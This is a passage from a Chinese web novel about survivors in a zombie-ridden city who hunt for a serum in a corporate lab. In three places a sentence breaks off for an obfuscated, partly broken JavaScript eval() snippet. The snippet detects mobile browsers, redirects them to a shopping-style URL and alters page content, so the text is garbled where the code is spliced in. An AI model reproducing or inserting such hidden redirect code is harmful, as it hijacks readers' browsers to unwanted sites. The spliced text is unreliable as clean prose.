钱雨青歪头问他:“有影响吗?” “对我没有,对他不一定。” 钱雨青促狭地吹了一声口哨。 经过那天唐突的理想演讲,许怀嘉和钱沈二人,尤其是和钱雨青的关系好转很多。 确定了目标之后,三人将责任分了分,钱雨青开车带着沈修明在R市里规划行动路线,外加搜寻物资,而掌握更多避难所情报的许怀嘉则负责观测正向R市群聚而来的夺宝队伍。 “我们也想帮哥哥姐姐的忙。” 在第四天的晚上,本该已经去睡觉的冬珍珍紧紧牵着陈露,跑过来对许怀嘉说。 钱雨青正坐在窗边,借着月光和沈修明玩乐高,闻言,饶有兴致地探出头来。 许怀嘉一愣:“你们想怎么帮?” 陈露脸上带着愧疚:“我可以帮你们带东西回来,一次性带很多。” 对足够强大的人来说,收集物资从来不是问题。他们没什么需要帮助的地方,手无缚鸡之力的孩子留在安全的地方就是最大的帮助。许怀嘉想要这样说。 但看着两个小孩不安又期盼的神色,许怀嘉沉默半晌,还是没有直接拒绝,求助地看向钱雨青。如果要带两个孩子出门,光她一个人不能保障安全。 钱雨青眨眨眼睛,看向沈修明。 她妥协了,沈修明也没什么好坚持的,叹气道:“明天我要去测试信号试剂的效果。大家一起?” 站着的三个人齐刷刷点头。 冬珍珍颤巍巍举手:“这样的话,我有一个建议。” 7. 末日与丧尸与新工作6 冬珍珍建议沈修明选择的实验场地正是离居民楼不远的小学。 许怀嘉率先表示反对:“那里面恐怕会有很多你们曾经认识的人。”这和面对陌生人变成的丧尸带来的精神刺激不是同个级别的。 “我们知道,”陈露抿唇,“别担心,我们……不会害怕的。” 她们的表情透露着一股倔强,然而苍白至极的脸色正诉说着相反的事实。 许怀嘉蹲下身,一手搭在一人肩上,头一次严肃了表情,认真道:“哥哥姐姐说带你们出去,就不会食言。但你们也要对哥哥姐姐说实话,好吗?你们为什么要去小学?” 陈露的脸色随即变得僵硬,眼泪以惊人的速度涌了上来,抓着朋友手腕的手捏得指节泛白。她张开嘴又闭上,却没能发出声音。 许怀嘉面上没有一丝动容,仍旧强硬地和她们对峙。 最后,冬珍珍跨前一步,忍着眼泪低头,哭腔明显:“对不起,姐姐,是我想去……爸爸妈妈可能会去学校找我,我想知道他们在不在那里……对不起,我不想让你为难……” 两人哆哆嗦嗦、颠三倒四地说了一大堆,鼻涕眼泪淌了满脸。 怀揣着恐惧和担忧,日复一日地龟缩在小小的牢笼里,强撑着笑容和朋友相互打气。唯一有的只是意外囤积的一些食物,和防盗窗外那片窄小的蓝天。没有父母的房子已经很难再称作家,孤独填满了每一个无法入眠的夜晚。 想要逃出牢笼的邻居阿姨、楼上的叔叔婶婶、楼下的爷爷奶奶死去了。她们听见了绝望的惨叫声,在这一边的窗下或者那一边的窗下。所以,两个饿得发虚的孩子能够逃到哪里去呢? 她们只剩下彼此了。明明已经说好,只要能永远在一起,死也没有关系的,但是有人从楼下走过时,还是忍不住伸出了手。 如果来的人是坏蛋,她们会死吧?毕竟孩子在这样的世界里只是毫无意义的拖油瓶而已。陈露有异能,她或许有价值,但冬珍珍没有。所以陈露不打算说自己有异能,如果冬珍珍会被抛下,她也要和朋友留在一起。但冬珍珍决心一定要说,因为她想要陈露活下来。 “谢谢你,姐姐……来的是你,真是太好了……” 许怀嘉垂着头听完,一言不发地把两个瘦小的孩子抱了起来。 剩下两人跟在她身后,钱雨青用只有沈修明一个人听得到的音量轻轻地说:“现在你知道,自己在做什么了吗?” 沈修明没有表情,也没有回答。 陈露和冬珍珍的小学看起来不像废墟,完整得像是处在一段持续时间过长的假期之中。操场上横七竖八地停放着颜色各异的私家车,已经落了厚厚一层灰。 五人没有分头行动,距离保持在可以相互看见的范围内。冬珍珍和许怀嘉走在前面,挨个辨认着车牌号。 “那边是高年级的楼,这边是低年级的楼,老师办公室在中间。”陈露比比划划。 钱雨青捧场地点头发出“嗯嗯”声,用拍立得拍了好几张照片,像个逛街的游客:“谢谢你借我相机啦。比起高中和技校,我几乎没收集过小学的素材呢。” 陈露好奇地问:“姐姐是老师吗?” 钱雨青摇头:“不,姐姐只是经常在学校里——”玩大逃杀。 沈修明抓住她的肩膀,强行接话道:“姐姐是小说家。” 钱雨青顿时得意忘形,也不反驳,只一味挺胸抬头,露出神秘的微笑。 “哦——”陈露崇拜地看着她,“姐姐有什么作品呀?” 钱雨青的表情忧郁地垮了下来。 沈修明说:“姐姐还在构思新作品,笔名不方便透露哦。” 陈露不知道脑补了什么,一脸郑重地点了点头:“那我也会为姐姐保守秘密的。” 钱雨青的秘密是,哪怕急得抓耳挠腮,在原地乱蹦乱跳,她也憋不出接下来的情节了。 “设定很严谨,人物很诡异,”比起总是三棍子打不出一个屁的锯嘴乌鸦,沈修明的评价毫不留情,“副本BOSS不是要设计副本的吗?” 钱雨青愁眉苦脸:“我又不负责设计玩家反应。” “借口,”沈修明翻了个白眼,“其他角色明明设计得很流畅。” 除了主角。 钱雨青左顾右盼,眼珠乱转。 “而且为什么每次副本的结局都是死得只剩主角一个?” 这次钱雨青秒答:“因为其他人不够强。” “到底是谁不够强啊。”在紧张刺激的熬夜试验后,还要抽空阅读稀烂小说,并被强迫提出意见的沈修明火大万分。 擅长制造谜题的人未必擅长解答谜题,但钱雨青显然不在此列。她注视人类的灵魂,如同注视着掌纹的脉络,沈修明每每被她意味深长地打量,都感觉颇为疼痛而不适。 作为在无限流世界混迹多年的专业人士,钱雨青虽然文笔描写干瘪到搞笑,上下文衔接也磕磕巴巴的,但副本的谜题逻辑足够严谨,玩家的表现也能自圆其说。 在这样其他情节都至少能及格的前提下,那个在文中根据情节需要,时而扮演大发神威的救世主,时而扮演阿巴阿巴拖后腿大师的主角,就自动成为了操作堪称神鬼二象性巅峰的抽象人。 ——如果真的发表出来,会被读者骂到祖坟在天上飞的程度。 “主角是你现实中认识的人?” “不是。” “你心虚了。” “没有。” “士兵。角色必须为情节服务,这是铁的纪律。” “我知道,长官。” “你违反纪律了吗?” “没有,长官。” “那就好,被作者偏爱太过的角色是狗屎。” “好脏的诽谤!谁偏爱他?”钱雨青一个激灵,“这是我的宿敌!” 沈修明抱臂摇头,用“我就知道”的谴责眼神盯着她:“你的宿敌?” 在一旁观看闹剧许久的乌鸦幽幽地重复:“你的宿敌?” 钱雨青眼见事情败露,摆烂道:“每个反派都有自己的宿敌嘛,有什么奇怪的。” 乌鸦说:“你的宿敌知道他是你的宿敌吗?” “也许。” 乌鸦怒:“这不就是根本不知道吗!” “连这都要征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470843|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求他的意见,我还当什么反派,去考公务员算了!”钱雨青理不直气也壮。 乌鸦和沈修明齐齐噎住。 钱雨青立刻霸占上风:“你以后也会当许怀嘉的宿敌,如果她能活得够久的话。” 沈修明皱眉:“我干我的事,为什么非要和她作对?世界那么大,大不了我换个地方待着。”他又不是小说里的弱智反派,非要一而再再而三地找主角的茬,闹到最后吊死在歪脖子树上。 “因为你不得不,她不得不,”钱雨青不再笑了,像是看着眼前的沈修明,又像是看着久远的以后,亦或是已逝的曾经,“要打赌吗?” 站在教学楼顶,血红色的信号药剂被抛下,砸在地上,炸出一小滩殷红,丧尸迎风而动,渐渐散开。 陈露握紧拳头,欢呼:“太好啦!” 许怀嘉也露出微笑:“这种药剂可以量产吗?” “先想办法研究血清吧。”沈修明慢吞吞走下楼梯,神色淡淡。 在学校里转了一圈,冬珍珍没有找到家里的车,也没有看见和父母相似的人。得不到结果的心再一次高高吊起,这是新的折磨,但也代表着新的希望。 突然,她看见一个穿着长裙的背影消失在拐角。 冬珍珍瞪大眼睛,大脑尚且空白,身体就已经下意识追了过去:“妈妈——” 而在她的身后,青色皮肤的身影悄然出现。嘴巴张开到人类绝无可能达成的极限,带着倒钩的黑红色舌头闪电般刺出。 一切都发生在一瞬间。 钱雨青和陈露还落在后面,沈修明完全没能反应过来,许怀嘉脸色绷紧,倒在路旁的铁架突然拆解、飞起,像几根过长的钉子,其中一根甚至直接穿透了舌头,将丧尸死死钉在原地。 下一秒,她出现在冬珍珍身边,扶住她的后脑勺:“是她吗?” 冬珍珍咽下道歉,如释重负地摇摇头:“不是。” “那就好。” 一个一开始被刻意隐瞒的事实,隐瞒得越久,就越不好再开口解释。 还好钱雨青和沈修明没有对这一幕发表任何言论,像是有志一同地瞎了两秒,仍旧一切如常,这让许怀嘉放松了不少。 她总是因为这些小事对别人产生好感。 日程一日日平稳地运行,吃过晚饭,许怀嘉再一次摊开R市的地图,陈露和冬珍珍都挤在她身边。 “人越聚越多了。光是叫得出领队名字的队伍就有六支,还不算路过凑热闹的,和已经冲进去又团灭,不知道来干什么的人。但每个小队的人数都不多,只有四到六人。”她总结。 “突进总基地的难度太大,死伤不可避免,所有人都在犹豫和观望,”沈修明没骨头似的窝在沙发里,“比起争抢血清的攻坚队,他们看起来更像是来确认‘没有其他人拿到血清’的斥候。” “那我们的计划怎么办……”许怀嘉有些焦虑。 “简单,”钱雨青打了个响指,“搞个大动静,小动物就不得不探出头来了。” “这点我赞同。”一道动听的女声说。 许怀嘉面前一亮:“莎莎!你们终于到啦!” 8. 末日与丧尸与新工作7 许怀嘉的同伴有三个人,两男一女。 “孟莎,异能可以影响别人的精神,同时也负责同伴间的联络;舒泽,异能可以加快细胞代谢,我们的医生,同时也是后勤人员,这次行动他带着孩子们留守在后方;沈修晏,异能是操纵风,至于我自己,我的异能是操纵金属。”许怀嘉把所有人一口气介绍完。 “钱雨青,异能是操纵影子。”钱雨青向三人一一点头。 “沈修明,没有异能。”沈修明懒洋洋地说。 沈修晏脸色难看地盯着他,问许怀嘉:“他留在后方,对吧?” 许怀嘉眨眨眼,有些为难地说:“呃……不,他会和我们一起去。” 沈修晏直直看着沈修明:“我记得我们好像不是来玩过家家的吧?” “噢,是吗?有何指教啊大天才?”沈修明说。 沈修晏道:“你难道毫无自知之明吗?!现在我们是一个团队,每个上前线的人都要分担风险。你没有异能也没有武力,进去硬拖后腿?” 其他人没有吭声,但只用沉默也足够表明各自的态度。 “哈,那我倒是有一个问题了,”沈修明勾起嘴角,“你知道血清在哪里吗?” 沈修晏卡了一下,瞪他:“怎么,你就知道吗?” 沈修明拖长语调:“至少我熟悉专业名词和拉丁文。亲爱的小弟弟,你不会以为一个大实验室里只放着一管药剂,而它刚好是我们需要的那种吧?打游戏打疯了?觉得现实里也能开任务指引?” “好了好了,”许怀嘉在桌上摊开公司总部大楼的手绘简易地图,拉架道,“我们再次确认一下今晚的计划。我和沈修明进入实验室,其余人负责外部警戒。” “你们人数太少,直接对上其他人的胜算不大,”钱雨青抚摸着乌鸦油光水滑的羽毛,“所以我会将大楼里的丧尸引出来,给他们找点麻烦,你们四个趁机溜进去。基因实验室在地下,入口只有一个,孟莎和沈修晏负责解决漏网之鱼。” 孟莎皱眉:“你一个人?” “和一只鸟。”乌鸦说。 一直隐藏在阴影处的舒泽震惊地瞪大眼睛,被乌鸦血红的瞳孔吓了一跳,手默默攥紧:“这什么东西?” “当然是我的搭档,不是才刚说过我的异能是操纵影子吗?”钱雨青煞有介事地说,“腹语术,很神奇吧?” “很神奇吧?”乌鸦歪头。 “别玩了,你能态度认真一点吗?”沈修晏的敌意蔓延到和沈修明站在一起的钱雨青身上,“你要怎么引出丧尸?那栋楼里的丧尸多得像垃圾堆里的蟑螂。他们奉‘觉醒者’的命令守在那里,不会追出太远。这几天,尝试闯进去的所有团队可是全部完蛋了。” “那就对它们下命令好了。” 钱雨青从口袋里拿出一管血红色的试剂晃了晃:“可以模拟‘觉醒者’命令的生物信号。” 这是沈修明这几天的实验成果之一。虽然还做不到像真正的进化丧尸那样灵活复杂地改变命令,但单纯的“远离”,“集合”,“追猎”之类的简单指示并不困难。 “我没听说过这种东西。”孟莎说。 “假设你的信息网没有覆盖全世界?”钱雨青耸肩。 “我们已经在R市的普通丧尸身上试验过了,很有效。”乌鸦说。 孟莎看向许怀嘉:“嘉嘉?” 许怀嘉点头,表示自己已经确认过药剂的效果了。 钱雨青旁观着四人的互动。 比起一只队伍,这群年青人更像是大学专业课上随机分出的作业小组。小组长许怀嘉和孟莎的关系明显最亲密,刚到时就抱了个满怀,讨论时位置也贴在一起;而沈修晏和许怀嘉有一定关系,但相对独立,现在正双手紧紧地环抱着,企图用眼神恐吓沈修明;舒泽则更疏远,选择了离沈修晏更近的角落。 许怀嘉的威信不足以让唐突加入的两人获得老成员的信任,而钱雨青和沈修明显然没有识趣到安安分分地讲究客人的礼仪。 “你们是怎么认识舒泽的?” 傍晚出发时,钱雨青在频道里问许怀嘉。 敲定计划后,众人兵分两路。钱雨青和乌鸦利用异能藏身总部大楼附近,其余人则在事先打扫出的安全屋里待机,等待局势的变化。 太阳行将落山,这座城市却在逐渐苏醒。风中传来邀请的信号,越来越多的丧尸骚动着,从阴影处出现,像是要去赴一场露天的疯狂派对。 这样的反常很快就会将探头探脑的人类惊动。 钱雨青待在摩天大楼半中腰的一处小阳台里,躺在藤椅上摇啊摇,怀里抱着一瓶刚开封的乌龙茶,脸上戴着装模作样的墨镜讴歌人生。 在末日世界的这段时间,是她近半年吃得最好的一段时间。当一个人被正常的社会秩序驱逐出境,能零元购反而成了一种幸福。R市的丧尸病毒爆发得太猛烈,无数人连挣扎都没有机会就已经归西,丧尸密度较其他城市多上十几倍,但与此同时,R市的物资也是最多最完整的。 只要过了今天,许怀嘉在众目睽睽之下带走血清,R市的最大价值随之失去,这里在很长一段时间内都不会再迎来居心叵测的来访者了。 “舒泽是我上选修课时认识的,”沈修晏说,“他是个好人。” 孟莎接道:“为什么你这样问?” “只是觉得他比较拘谨,”钱雨青答,“毕竟你们三个是同班同学,还一直并肩作战,但他通常会留在后方。嗯,你懂的。” “多谢提醒,我们会多照顾他的心情的。”许怀嘉真诚地道谢。 “人群在聚集。”站在电线杆上的乌鸦说。 灵机一动变成异能造物的它终于又可以随便说话了。乌鸦的脖子上系着血红色的药剂,今晚,它才是计划的真正施行者,而钱雨青会潜在沈修明的影子里一同进入实验室,保证娇弱的科研人员的人身安全。 关于钱雨青“异能是操纵影子”这句话,并不是纯粹的谎言。 虽然乌鸦认为他们的小心谨慎是在和空气搏斗,但钱雨青和沈修明都一致认为许怀嘉或者她的某个队员有突然翻脸发难的可能。 “就算那群人不翻脸,也要小心第三方的埋伏,”钱雨青说,“我最讨厌的动物就是黄雀。” “她根本管不住她的下属,”沈修明说,“沈修晏就像条在散步的时候猪突猛进的大型犬,而许怀嘉硬扯着缰绳,脚后跟犁了二里地,只让自己努力的样子看起来很心酸。” “他在战斗的时候倒是很听队长指挥,能力也很强。但在决策的时候,他连门口的鞋柜放哪都要嚷嚷半天,”钱雨青思考,“这就是传说中的扁平化管理?” “不,他们只是单纯没有把以前的同学们当上司下属而已。”乌鸦冷静地打断他们。 “或者她的同学们不甘愿只当下属,”钱雨青右拳砸在左手掌心里,“想起来了!就说这集我看过,朱元璋和蓝玉嘛。” “完全不对吧。”乌鸦说。 “然而他们已经准备一起建立避难所了,”沈修明提了提嘴角,“祝他们好运。” “不过蓝玉的小辫子很多,只要杀鸡儆猴的动作够快,新立一个实力足够强的太子,局面也是可以迅速稳定的。”钱雨青说。 “都说不对了,”乌鸦张开翅膀,怒道,“这里不是权谋片场好吗!” 避难所的未来自有关心避难所的人去头疼,而乌鸦要做的事,只有说“三、二、一”然后把药剂“BOOM!”地砸在地上而已。 小分队已经行动了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470844|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五颜六色的异能如同活泼的霓虹灯一般映亮了半边天空,陌生的声音们在怒吼: “发生了什么?!这群丧尸疯了!” “快看那边!有人要进入总部大楼!” “该死,我们过不去!” “不是认识的队伍!那些人是从哪里来的?!” 唉,不该如此的,但乌鸦竟感觉到久违的热血沸腾,好像它天生就该喜欢这样群魔乱舞的混乱场面似的。糟糕,不可以这样啊。 “此路禁止通行!”它展翅起飞,在空中灵巧地躲过异能的袭击。 “红眼睛!它有一双红眼睛!是乌鸦型高阶丧尸!”有人高喊。 乌鸦大喊:“你才是丧尸!” 另一边,跟着地图顺利到达入口处的四人停住脚步,孟莎一把薅住沈修晏:“就在这里分开好了。你们小心。” 但凡沈修明是个有三分武力的人,他们都不会同意这么危险的安排。沈修晏死盯着沈修明,警告道:“如果出了什么意外,我不会放过你的。” “嗯嗯嗯,”沈修明用准备好的权限卡刷开向下的电梯门,“我们走吧。” 钱雨青正藏在他的影子里,于是也暂时治好了他神经过敏的小毛病。 两道清脆的脚步声跑过空旷的长走廊,零星的几只白大褂丧尸体质和它们生前一样弱柳扶风,没两下就被许怀嘉叉到了墙上。 “到了,就是这里。” 沈修明做了简单的防护,走进实验室转了两圈,最后从一张桌子上拿起一支淡蓝色的药剂。 “这就是?” 沈修明点头:“十支,这九支是你的。具体效果没有试验过,你可以在外面那群人面前尝试。” 许怀嘉盯着桌面上天书一样的实验记录看了半天,没能看出什么所以然,只能放弃:“那我们走吧。” 莫名的疑惑一闪而逝,但沈修明已经转身离开,许怀嘉没有停下纠结的空闲,快步跟上。 今晚的行动十分顺利,等两人重新回到地面上,花费的时间还不到三小时。 人群仍然在与丧尸搏斗,像一只只在海啸中飞上浪尖的小船。有声音悲痛地嘶吼起来,有人倒下了,锋利的刀刃掉转,对准即将成为过去时的同伴。 “等一下!我拿到血清了!”许怀嘉大喊,抛出一支淡蓝色的药剂,“修晏,去救他!” 来不及质疑此话的真伪,伤者在队友的护送下被拖到战线的后方,血清被送入血管。 许怀嘉冲了出去,无数的金属碎片在战场上升起,分散、汇聚,切割、穿刺。她像一台精准又可怕的绞肉机器,像在海啸中抢夺大海的龙卷风。潮水被迫后退,代表安全的礁石显露,其他人开始自发地向她靠近。 战斗仍在继续,压力逐渐减缓。但人群愈发沉默,一种近似于祈祷的氛围掐紧了战斗者们的咽喉。他们在祈求一种叫做“希望”的东西。 丧尸病毒在人类的灵魂之中刻下了最深切的血泪,这群不死的腐肉可以重来千百次,但人类一次重来的机会都没有。在场的绝大多数人都有不得不处决自己的战友的经历,以至于那个躺在地上,既不幸、又幸运的人醒来时,许多人发出了痛苦的呜咽。 “这里有7支血清。我希望各个避难所的人能用物资来交换,”许怀嘉说,“我不希望看到血清被某一个势力垄断,而我能够相信的,只有我自己的灵魂。所以我站在这里。” 按照计划,许怀嘉在风暴停歇的中心发表了自己将会建立避难所的决定,邀请志同道合的人加入她的阵营:“如果毁灭是人类的命运,我绝不会妥协!” 这片废墟静得可怕。她不知道自己的话语能得到多少支持或反对,赞美或诋毁,只是扭头看向远方。 远处,太阳正在升起。 9. 末日与丧尸与新工作8 “SDM-81对交感神经的抑制较77型有了明显的减弱。”沈修明说。 “噢,好消息……”钱雨青翻过一页杂志,“这是好消息吗?说实话我没听懂。” 血清事件已经过去了一年,钱雨青最终拒绝了许怀嘉的邀请,声称不愿长久停留在某一个地方,并在双方分道扬镳后悄悄留在了R市。 沈修明早就盯上了公司总部的研究器材,毕竟世上没有哪里能比这里的装备资料更齐全对口的了。 当然,他优先研究的并非血清,而是进化原液。 而在沈修明穿着白大褂泡实验室的时候,钱雨青很有cosplay精神地戴着鸭舌帽,穿着工作服,背着工具箱走来走去,去给研究人员修电机拉电线,还要负责补充实验用的基础生物材料,aka小白鼠和丧尸。 除此之外,钱雨青还得在他充满抽象形容和比比划划的指导下制作一些辅助实验的妙妙小工具。当她的第二十版方案还是被沈修明评价为“还是有哪里不对劲,但哪里不对劲我也说不上来”的时候,钱雨青差点一扳手砸碎了他金贵的脑壳。 不得不说,沈修明对钱雨青的观察已经突破到了下一阶段,早在钱雨青捏紧扳手,手背绷出青筋的一瞬间,沈修明就“嗖”地逃窜到了房间的另一头,在沙发上蜷成一团看书,并实打实的安静了两天。 虽然他第三天又故态复萌了。 “是好消息,它能让实验体的行动更敏捷。”沈修明将新原液放入冷藏箱。 “确实是好消息。如果实验室发生二次泄漏,这个世界的人类可就板上钉钉地完蛋了,”钱雨青合上旧杂志,“老兄,看你这几个月都干了什么——免疫阳光伤害,异能进化,大脑进化,加强自愈能力、肢体协调、感官敏捷,加上它们原本就有的坚硬身体和不死者的固有特性,你打算展开全民超人计划吗?” “我已经去掉了试剂的感染性,理论上最终只有一个超人。”沈修明说。 “那我真谢谢你为人类着想,善良的科学家。”钱雨青死鱼眼道。 笼内的小鼠狂暴地撞击着钢化玻璃,血红的眼睛闪烁着决绝的疯狂,发出尖细刺耳的吱吱叫声,直至血肉模糊地倒下。 “它的眼神让我有点害怕。”钱雨青说着,对还活着的其他小鼠也起了杀心。 “如果它真的足够聪明,就不会让我们知道它聪明,”沈修明挑剔地说着,按动按钮结束了实验体们的生命,“所以,以后我做实验的时候你能在旁边协助吗?以防它们袭击我?” “我就知道事情最终会进展到这一步的,”钱雨青叹气,“真是我的荣幸啊,老板。” 她溜达到试验台附近,仔细观察那管唯一的淡蓝色液体。 事实上,这里从来就没有过成品血清。病毒的突然泄漏让现场变得一片狼藉,所有方便携带的成品都被研究员带走,早就不知所踪。而距离储存设施断电已经超过一年,于是留存在这里的部分也只剩下失活的残骸。 许怀嘉拿走的九管药剂全是沈修明在十天内结合实验记录临时制作的手笔。 “如果之后有原始版本血清流出,恐怕,不,一定会和我的版本差别很大,”来自星际未来大版本的科学家沈修明如是说,“祝许怀嘉好运,真诚地。” “有什么不一样?反正都是异变逆转。”戴着小小鸭舌帽的乌鸦问。 “都是?都不是!异变是不能逆转的。”沈修明说。 “这我倒是第一次听说。” 正如钱雨青所料,许怀嘉的名字在这大半年来异军突起,和她逆流而行的主张一起,成为了举世瞩目的焦点。在血清以交易的方式一一送出后,有人称她为无私的救世主,也有人称她为贪婪的魔鬼。但无论如何,她的势力在急速扩张,越来越多的人加入了她理想的版图。 在血清的产出量足以供应避难所的精锐部队后,最近,实力最强大的几座避难所都各自推出了商品血清,淡蓝小药剂的价格在地下市场炒得火热,千金难求。 即使它的使用条件很苛刻——只能对活人使用,而且最好一被咬伤就立刻使用,越快越好,否则一旦错过黄金时间,丧尸病毒还是会导致伤者的身体出现无法治愈的严重后遗症。 沈修明略作思考,决定用比喻来进行交流:“你可以把丧尸病毒想象成一种烧伤,而血清是一种烧伤药。用药越快,烧伤就越轻,至于后遗症,那就是人没彻底烧死,但也五分熟的状态。但无论如何,世上没有哪种烧伤药可以让一块熟牛排变回活蹦乱跳的牛。” “很美味也很恶心的比喻,谢谢你。”钱雨青说。 “总之,研究血清是没有前景的,重要的是原液,”沈修明总结,“我们试验过,现在在丧尸群中,低等个体会无条件服从高等个体,而群体利益又绝对凌驾于个体意志,只要有‘指令’发出,它们就会义无反顾地去实行,就像……某些虫子一样。恶心。去死。” “虫巢意识,经典。你很讨厌?”乌鸦在沙发背上跳跳。 “当然,只是想想都会头皮发麻,”沈修明笑眯眯地说,“如果人类要往‘这个方向’进化,那还是灭绝算了。” 钱雨青撇嘴:“完全同意。” “哇,太好了,祝贺第一次全票通过。虽然不知道具体通过了什么。”乌鸦说。 沈修明指向另一种墨绿色药剂:“所以我制作了‘杀虫剂’,用来唤醒低等丧尸的意识。” “现在我对你到底多讨厌虫子心里有数了,”钱雨青点点头,僵住,“等一下,什么叫‘唤醒’?” “既然你称呼丧尸为不死者,我还以为你明白它们根本就没有死掉过。它们只是不再是人类而已,”沈修明说,“顺便,我必须要纠正你,低等丧尸并非‘不死者’,它们没有自愈的功能,最终会在腐烂中停摆,保质期完全不如普通人类。” 钱雨青挺直的脊背慢慢松懈,滑回沙发里:“吓我一跳。” “能不能不要随随便便对你宝贵的盟友起杀心,”沈修明抱怨,“我没有忘记我们的交易好吗?” “对不起嘛,”钱雨青说,“作为补偿,既然你还在恐惧迈出最后一步,我可以给你提供一个强化方向。” 沈修明默默地抿紧了嘴唇。 钱雨青说得没错,他不断找借口改进药剂,一半原因是在逃避最终时刻的到来。 不是因为死。虽然通过平时的表现很难看出这一点,但他其实并没有那么怕死。 他只是害怕自己无声无息、毫无价值地死在一个荒谬绝伦的世界上,也害怕自己的灵魂变成面目全非的模样。 想要保持完整,他不能被冲垮意识,成为进化失败的低等丧尸,也不能被重构灵魂,成为彻底非人的高阶不死者。 “我恨一切需要赌运气的行为,”他双手合十放在唇前,望着天花板,喉咙发紧地说,“神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470845|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永远不会保佑我这样的人的。” “唉,干嘛这副表情。搞得我都有点舍不得你了。”钱雨青叹气。 他们都明白,沈修明还有一个选择,那就是维持原样,作为普通人类活下去。但他们也明白,沈修明绝对不会选择这条路,他最终必定会孤注一掷,打开关着猫咪的盒子。 “别说这个了,”沈修明低下头,用很小很轻的声音说,“你之前说有什么提议?” “唔,也没什么,”钱雨青摸摸下巴,“就是美容啦。” 沈修明卡住了,表情空白地抬起头:“……哈?” “别急,听我说。依我的经验看,这件事意外的重要哦,”钱雨青认认真真地分析,“同样是干坏事,但只要你长得漂亮,很多人类就会不自觉怜爱你的,至少能少挨20%的毒打呢。” 此事在《无限流副本专项研究·BOSS版》第171期中亦有记载。 对于BOSS来说,业绩固然重要,但在面对战绩彪炳的硬骨头的时候,如果不是有私仇,大家也不会硬要火力全开,和对方拼个鱼死网破。 一般而言,无限流副本的周期会控制在4到10天的区间,几乎没有BOSS会一上来就大开杀戒,而是逐渐提高难度上压力,这既是为了对玩家能力进行试探和评估,也是对高等级的玩家释放信号,让对方评估通关的难度。 众所周知,在一个副本的普通结局之中,真正的BOSS压根不会出场。 他们通常只会窝在房间里,按照推荐难度ABCD写剧本,划定这次生存游戏的演出场地,指定手下人去表演小剧场,该上难度的上难度,该放线索的放线索,再在角落塞两件可以带走的装备当彩蛋。 直到遇见非要打TureEnd的铁头娃,一杆子捅进BOSS老巢,他们才会全力应战。 这时候,BOSS们就非常有必要选择一个合适的外表了。 “第一个当然是怪物形态。打BOSS战,重要的是有气势,特效一定要给满,能多恐怖就多恐怖,能多恶心就多恶心,能让玩家心智动摇的那种最好,还可以分二阶段三阶段,很多人都会因此绝望的。” 钱雨青如数家珍。 “啊,这样啊。”沈修明的眼神看起来有点死了。 “如果发现打不过,那就随时准备进入真正的第二形态。苟命嘛,不丢人。准备一个美丽的人类皮套——至于是女皮套还是男皮套主要看对面最强那个人的审美取向——然后抓住机会被打飞出去,变化形态后缓缓化灰,同时给玩家播放一段唯美CG。” “……不好意思?” 钱雨青点头:“玩家会被CG硬控的。不知道为什么,他们一见播放CG就觉得战斗一定结束了,会停下来看。我们趁着这时候跑路就行,记得出一个副本坍塌成废墟的画面,然后给玩家留一个战利品。实在太抠的话,也可以只留一个纪念品。” 也是因为玩家们爱看CG的倾向,这些年BOSS们都不怎么搞真性情的人设了,还是美强惨经典又吃香。给玩家们讲述一下BOSS生前多可怜,大家一般就不会非要斩尽杀绝了。 沈修明现在已经伤感不起来了,只剩下满心的无语:“我知道了,会研究的……” “再说了,我还没见过你真正的样子呢,”钱雨青忙着喝水,“你原来不长这样,对吧?” 在一段漫长的沉默后,沈修明说:“对。” 10. 末日与丧尸与新工作9 T市的早晨总是来得晚一些。 他从一片混沌中醒来,疼痛席卷大脑,太阳穴突突跳动,回忆起昨天加班都没赶完的工作,心里一阵烦躁。 “干脆辞职算了!” 说完根本不可能去做的气话,他缓慢地爬起身。 身体很沉重……他生病了吗?诶,这里是十字路口吗……为什么他会躺在街边…… 下意识低头看向手掌,焦黑枯瘦的十指、肮脏开裂的指甲,左手心破损出一个大洞,露出里面青黑色的腐肉。 “啪嗒”。 融化的碎肉掉在地上。 碎成雪花屏的记忆闪现出纷飞的残片,他走在下班回家的路上,一个披头散发、穿戴齐整的行为艺术疯子站在路旁。 那个疯子的头颅垂得极低,像是颈骨被生生折断了似的,叫人一点都看不清脸。 周围的人都绕着她走,他也不例外,却倒霉地在加快脚步路过的那一瞬间,被对方猛地扑倒在地。 震恐的惊叫声在耳边响起,他花了好几秒才意识到那是自己因恐惧而变形的声音。 大脑一片空白,瞪大双眼,双腿踢蹬着,手臂拼命地推拒,却没能撼动对方分毫。就好像钳住他的不是一个身形纤细的女人,而是一台碾到脸上的压路机。 